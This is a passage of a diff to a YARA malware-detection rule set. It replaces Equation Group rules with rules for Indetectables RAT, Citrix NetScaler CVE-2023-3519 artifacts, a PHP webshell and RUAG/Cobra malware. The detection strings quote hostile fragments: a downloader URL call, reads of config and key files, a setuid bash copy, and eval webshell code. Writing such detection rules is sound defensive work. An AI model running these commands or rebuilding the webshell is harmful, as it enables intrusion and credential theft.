+		$ = "Convert.FromBase64String(temp[1])" fullword ascii
+		$ = "D68gq#5p0(3Ndsk!" fullword ascii
+		$ = "dcomnetsrv" fullword ascii
+		$ = "ERRORF~1.ASP" fullword ascii
+		$ = "intelliAdminRpc" fullword ascii
+		$ = "J8fs4F4rnP7nFl#f" fullword ascii
+		$ = "Msnb.exe" fullword ascii
+		$ = "nautilus-service.dll"
+		$ = "Neuron_service" fullword ascii
+		$ = "owa_ar2.bat" fullword ascii
+		$ = "payload.x64.dll.system" fullword ascii
+		$ = "service.x64.dll.system" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <900KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Linux_Exactchange : FILE
+rule SIGNATURE_BASE_Indetectables_RAT : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd9487be-57c5-5352-bce7-f9510166182d"
-		date = "2017-04-09"
+		id = "f8322822-617c-50cf-8b64-60da3a202ca5"
+		date = "2015-10-01"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1452-L1472"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a0bcf5aa1f434fe9698a7408df68870d4908cdf87f22bb4acfedc50bb2c8f11f"
+		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_indetectables_rat.yar#L8-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "840a0c92ac731d9e88d0bdccb39598e4ff476e8630ec08f6c4024a31e258ebd0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
-		hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
-		hash3 = "39d4f83c7e64f5b89df9851bdba917cf73a3449920a6925b6cd379f2fdec2a8b"
-		hash4 = "15e12c1c27304e4a68a268e392be4972f7c6edf3d4d387e5b7d2ed77a5b43c2c"
+		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
+		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
+		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
 
 	strings:
-		$x1 = "[+] looking for vulnerable socket" fullword ascii
-		$x2 = "can't use 32-bit exploit on 64-bit target" fullword ascii
-		$x3 = "[+] %s socket ready, exploiting..." fullword ascii
-		$x4 = "[!] nothing looks vulnerable, trying everything" fullword ascii
+		$s1 = "Coded By M3" fullword wide
+		$s2 = "Stub Undetector M3" fullword wide
+		$s3 = "www.webmenegatti.com.br" wide
+		$s4 = "M3n3gatt1" fullword wide
+		$s5 = "TheMisterFUD" fullword wide
+		$s6 = "KillZoneKillZoneKill" fullword ascii
+		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
+		$s8 = "M3_F_U_D_M3" ascii
+		$s9 = "M3n3gatt1hack3r" fullword wide
+		$s10 = "M3n3gatt1hack3r" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <2000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_X86_Linux_Exactchange : FILE
+rule SIGNATURE_BASE_Bergsilva_Malware : FILE
 {
 	meta:
-		description = "Equation Group hack tool set"
+		description = "Detects a malware from the same author as the Indetectables RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b39e0c6e-b427-5085-99f8-88b2e00bb110"
-		date = "2017-04-09"
+		id = "5f35aea6-1d80-594a-a6e0-8e8bb30bc358"
+		date = "2015-10-01"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1474-L1490"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9365eb74a364eb83150672919ea1abe635465fe3239fff26ba91037c74971466"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_indetectables_rat.yar#L35-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "03b823040a057ffbef9bcb3094a672fd75e141f3e82c77548adbe1c465d329fb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
-		hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
+		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
+		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
 
 	strings:
-		$x1 = "kernel has 4G/4G split, not exploitable" fullword ascii
-		$x2 = "[+] kernel stack size is %d" fullword ascii
+		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
+		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
+		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
+		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
+		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
+		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
+		$s5 = "https://dl.dropbox.com/u/105015858" wide
 
 	condition:
-		( uint16(0)==0x457f and filesize <1000KB and 1 of them )
+		uint16(0)==0x5a4d and (1 of ($x*) or 2 of ($s*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eclipsedwing_Rpcproxy_Pcdlllauncher : FILE
+rule SIGNATURE_BASE_EXPL_Citrix_Netscaler_ADC_Forensicartifacts_CVE_2023_3519_Jul23_2 : CVE_2023_3519 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8dd15424-e1b5-5543-97d5-3b3a83faa428"
-		date = "2017-04-15"
+		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+		author = "Florian Roth"
+		id = "471ce547-0133-5836-b9d1-02c932ecfd1e"
+		date = "2023-07-21"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1502-L1519"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a01ea872c161521301182b922ece893f9ad1a33d902ec94963946f3b07d7266"
-		score = 75
+		reference = "https://www.cisa.gov/sites/default/files/2023-07/aa23-201a_csa_threat_actors_exploiting_citrix-cve-2023-3519_to_implant_webshells.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L27-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "48d4225d0935084003f7a98c554d7c4722a91290dfe190001da52bce332b3f7d"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "48251fb89c510fb3efa14c4b5b546fbde918ed8bb25f041a801e3874bd4f60f8"
-		hash2 = "237c22f4d43fdacfcbd6e1b5f1c71578279b7b06ea8e512b4b6b50f10e8ccf10"
-		hash3 = "79a584c127ac6a5e96f02a9c5288043ceb7445de2840b608fc99b55cf86507ed"
+		tags = "CVE-2023-3519, FILE"
 
 	strings:
-		$x1 = "[-] Failed to Prepare Payload!" fullword ascii
-		$x2 = "ShellcodeStartOffset" fullword ascii
-		$x3 = "[*] Waiting for AuthCode from exploit" fullword ascii
+		$s1 = "tar -czvf - /var/tmp/all.txt" ascii fullword
+		$s2 = "-out /var/tmp/test.tar.gz" ascii
+		$s3 = "/test.tar.gz /netscaler/"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		filesize <10MB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Explodingcantouch_1_2_1 : FILE
+rule SIGNATURE_BASE_EXPL_Citrix_Netscaler_ADC_Forensicartifacts_CVE_2023_3519_Jul23_3 : CVE_2023_3519 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "66a09bfc-992d-5152-9fd6-9d7bcfb8b92f"
-		date = "2017-04-15"
+		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+		author = "Florian Roth"
+		id = "2f40b423-f1da-5711-ac4f-18de77cd52d0"
+		date = "2023-07-24"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1521-L1536"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9239a61e71c86fc239f75baa9c781da18553e3c502495ad7429eaf3c744e870c"
-		score = 75
+		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L43-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e78e1a788503b841ed0f4e5cd415eb35d8911092778120d7fd061ed20820da37"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0cdde7472b077610d0068aa7e9035da89fe5d435549749707cae24495c8d8444"
+		tags = "CVE-2023-3519, FILE"
 
 	strings:
-		$x1 = "[-] Connection closed by remote host (TCP Ack/Fin)" fullword ascii
-		$s2 = "[!]Warning: Error on first request - path size may actually be larger than indicated." fullword ascii
-		$s4 = "<http://%s/%s> (Not <locktoken:write1>) <http://%s/>" fullword ascii
+		$x1 = "cat /flash/nsconfig/ns.conf >>" ascii
+		$x2 = "cat /nsconfig/.F1.key >>" ascii
+		$x3 = "openssl base64 -d < /tmp/" ascii
+		$x4 = "cp /usr/bin/bash /var/tmp/bash" ascii
+		$x5 = "chmod 4775 /var/tmp/bash"
+		$x6 = "pwd;pwd;pwd;pwd;pwd;"
+		$x7 = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and 1 of them )
+		filesize <10MB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Architouch_1_0_0 : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Citrix_Netscaler_ADC_Exploitation_Attempt_CVE_2023_3519_Jul23_1 : CVE_2023_3519
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c5af05b5-9dfa-535f-b9ea-c82ef79bae7e"
-		date = "2017-04-15"
+		description = "This YARA rule detects forensic artifacts that appear following an attempted exploitation of Citrix NetScaler ADC CVE-2023-3519. The rule identifies an attempt to access the vulnerable function using an overly long URL, a potential sign of attempted exploitation. However, it does not confirm whether such an attempt was successful."
+		author = "Florian Roth"
+		id = "7dfe4130-d976-5d6d-a05d-ccadefe45406"
+		date = "2023-07-27"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1538-L1551"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb6959b7b50e6f2895bab5f3355bef836c9a9774285cfb5fea339ce3d2c67f73"
-		score = 75
+		reference = "https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L63-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ad3164c5b2616b12a513a2bb3736d530769e75fca03346a72351a27b8343b2a"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
+		tags = "CVE-2023-3519"
 
 	strings:
-		$s1 = "[+] Target is %s" fullword ascii
+		$sr1 = /GWTEST FORMS SSO: Parse=0; URLLEN=([2-9][0-9]{2}|[0-9]{4,20}); Event: start=0x/
+		$s1 = ", type=1; Target: start=0x"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Erraticgopher_1_0_1 : FILE
+rule SIGNATURE_BASE_WEBSHELL_SECRETSAUCE_Jul23_1 : CVE_2023_3519 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1a3fe877-b9ae-50e4-bb1a-c9dcd4d4a657"
-		date = "2017-04-15"
+		description = "Detects SECRETSAUCE PHP webshells (found after an exploitation of Citrix NetScaler ADC CVE-2023-3519)"
+		author = "Florian Roth"
+		id = "db0542e7-648e-5f60-9838-e07498f58b51"
+		date = "2023-07-24"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1553-L1569"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b099bd202a962e64cb4f417eb7e09893b869e950eb0740394d222e8b4b89283"
-		score = 75
+		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L79-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c762d46ae43a3e10453c2ee17039812a06086ac85bdb000cf8308f5196a9dee2"
+		score = 85
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052"
+		tags = "CVE-2023-3519, FILE"
 
 	strings:
-		$x1 = "[-] Error appending shellcode buffer" fullword ascii
-		$x2 = "[-] Shellcode is too big" fullword ascii
-		$x3 = "[+] Exploit Payload Sent!" fullword ascii
-		$x4 = "[+] Bound to Dimsvc, sending exploit request to opnum 29" fullword ascii
+		$sa1 = "for ($x=0; $x<=1; $x++) {" ascii
+		$sa2 = "$_REQUEST[" ascii
+		$sa3 = "@eval" ascii
+		$sb1 = "public $cmd;" ascii
+		$sb2 = "return @eval($a);" ascii
+		$sb3 = "$z->run($z->get('openssl_public_decrypt'));"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and 1 of them )
+		filesize <100KB and ( all of ($sa*) or 2 of ($sb*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Esteemaudit_2_1_0 : FILE
+rule SIGNATURE_BASE_RUAG_Tavdig_Malformed_Executable : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects an embedded executable with a malformed header - known from Tavdig malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "95594756-1872-5d86-877f-0977bd3c067b"
-		date = "2017-04-15"
+		id = "da6357d4-0cdb-5f30-9919-59858963cc41"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1571-L1585"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "272d435758c0021bfd84d84c00eb05ece2461a39d092693b61d362365ab098cd"
-		score = 75
+		reference = "https://goo.gl/N5MEj0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ruag.yar#L9-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2a6eb90cc77f4556da0b5b0211bf0c4759dae0d78e9c6b765eff0e9a34f52e0f"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "61f98b12c52739647326e219a1cf99b5440ca56db3b6177ea9db4e3b853c6ea6"
-
-	strings:
-		$x1 = "[+] Connected to target %s:%d" fullword ascii
-		$x2 = "[-] build_exploit_run_x64():" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x0000AD0B
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Darkpulsar_1_1_0 : FILE
+rule SIGNATURE_BASE_RUAG_Bot_Config_File : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects a specific config file used by malware in RUAG APT case"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f4f77d7-99bc-5c84-84bf-877c4e79c9f0"
-		date = "2017-04-15"
+		id = "aa3d5f9e-0b23-5180-9e52-a7d705712747"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1587-L1601"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "da8e1723da9e2d9955a3042bceb313d7d10903bfc078ba090c1c5a57be243b96"
-		score = 75
+		reference = "https://goo.gl/N5MEj0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ruag.yar#L21-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "256808511233da446ec69db4f5a5e23a237296c100e79e78bbe5e4964fa5dde6"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b439ed18262aec387984184e86bfdb31ca501172b1c066398f8c56d128ba855a"
 
 	strings:
-		$x1 = "[%s] - Error upgraded DLL architecture does not match target architecture (0x%x)" fullword ascii
-		$x2 = "[%s] - Error building DLL loading shellcode" fullword ascii
+		$s1 = "[CONFIG]" ascii
+		$s2 = "name = " ascii
+		$s3 = "exe = cmd.exe" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		uint32(0)==0x4e4f435b and $s1 at 0 and $s2 and $s3 and filesize <160
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Educatedscholar_1_0_0 : FILE
+rule SIGNATURE_BASE_RUAG_Cobra_Malware : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects a malware mentioned in the RUAG Case called Carbon/Cobra"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37ca8de5-435b-5c1a-83b8-5704fa137604"
-		date = "2017-04-15"
+		id = "dd2d591f-6f56-5c31-9f3c-3aa7d174c9a0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1603-L1617"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0265ce5dfb5697a0610a6023b75f6e3ef2ef0308f639978a8617337df2e16c77"
-		score = 75
+		reference = "https://goo.gl/N5MEj0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ruag.yar#L36-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5576e8e465eb289e8da44009cb2237080c5b5c3eb6d7a337634d91c5d68ecd80"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4cce9e39c376f67c16df3bcd69efd9b7472c3b478e2e5ef347e1410f1105c38d"
 
 	strings:
-		$x1 = "[+] Shellcode Callback %s:%d" fullword ascii
-		$x2 = "[+] Exploiting Target" fullword ascii
+		$s1 = "\\Cobra\\Release\\Cobra.pdb" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and 1 of them )
+		uint16(0)==0x5a4d and $s1
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Doublepulsar_1_3_1 : FILE
+rule SIGNATURE_BASE_RUAG_Cobra_Config_File : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects a config text file used by malware Cobra in RUAG case"
 		author = "Florian Roth (Nextron Systems)"
-		id = "99711157-58eb-5ec0-bb9f-bf953cd10125"
-		date = "2017-04-15"
+		id = "b3899d95-acc9-55ca-9025-edecce755ca6"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1619-L1634"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1b7ed9dbd4312541bd4d939602f63ce1d909729cce1845b018be6a07a9cb7fe2"
-		score = 75
+		reference = "https://goo.gl/N5MEj0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ruag.yar#L49-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "703a89562f3a2e5692883892f468288276459ad528cd371b1ac226e1d1c4be02"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13"
 
 	strings:
-		$x1 = "[+] Ping returned Target architecture: %s - XOR Key: 0x%08X" fullword ascii
-		$x2 = "[.] Sending shellcode to inject DLL" fullword ascii
-		$x3 = "[-] Error setting ShellcodeFile name" fullword ascii
+		$h1 = "[NAME]" ascii
+		$s1 = "object_id=" ascii
+		$s2 = "[TIME]" ascii fullword
+		$s3 = "lastconnect" ascii
+		$s4 = "[CW_LOCAL]" ascii fullword
+		$s5 = "system_pipe" ascii
+		$s6 = "user_pipe" ascii
+		$s7 = "[TRANSPORT]" ascii
+		$s8 = "run_task_system" ascii
+		$s9 = "[WORKDATA]" ascii
+		$s10 = "address1" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint32(0)==0x4d414e5b and $h1 at 0 and 8 of ($s*) and filesize <5KB
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Erraticgophertouch_1_0_1 : FILE
+rule SIGNATURE_BASE_RUAG_Exfil_Config_File : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects a config text file used in data exfiltration in RUAG case"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f03a4b6-69ab-5cef-876c-1e86ef2afe10"
-		date = "2017-04-15"
+		id = "7057bc7b-7f8c-5db8-b7f3-f6c33487b122"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1636-L1651"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "08646f7887daddd8efac875bc7b111df7a52feae0a4b81bfd2d2ae7ef9453b5e"
-		score = 75
+		reference = "https://goo.gl/N5MEj0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ruag.yar#L73-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "379e8762932ca565f3bd35ec241aef2d0445fbe6182a041e4d4e16a1170202ef"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "729eacf20fe71bd74e57a6b829b45113c5d45003933118b53835779f0b049bad"
 
 	strings:
-		$x1 = "[-] Unable to connect to broswer named pipe, target is NOT vulnerable" fullword ascii
-		$x2 = "[-] Unable to bind to Dimsvc RPC syntax, target is NOT vulnerable" fullword ascii
-		$x3 = "[+] Bound to Dimsvc, target IS vulnerable" fullword ascii
+		$h1 = "[TRANSPORT]" ascii
+		$s1 = "system_pipe" ascii
+		$s2 = "spstatus" ascii
+		$s3 = "adaptable" ascii
+		$s4 = "post_frag" ascii
+		$s5 = "pfsgrowperiod" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and 1 of them )
+		uint32(0)==0x4152545b and $h1 at 0 and all of ($s*) and filesize <1KB
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Smbtouch_1_1_1 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "225799cf-4d1b-54f8-8b76-b9ee1db80ce7"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L1653-L1666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5eb9d45dfc47470236923a5b8174bc17733e4333db6f8bbe63c4f4bc913cf26"
-		score = 75
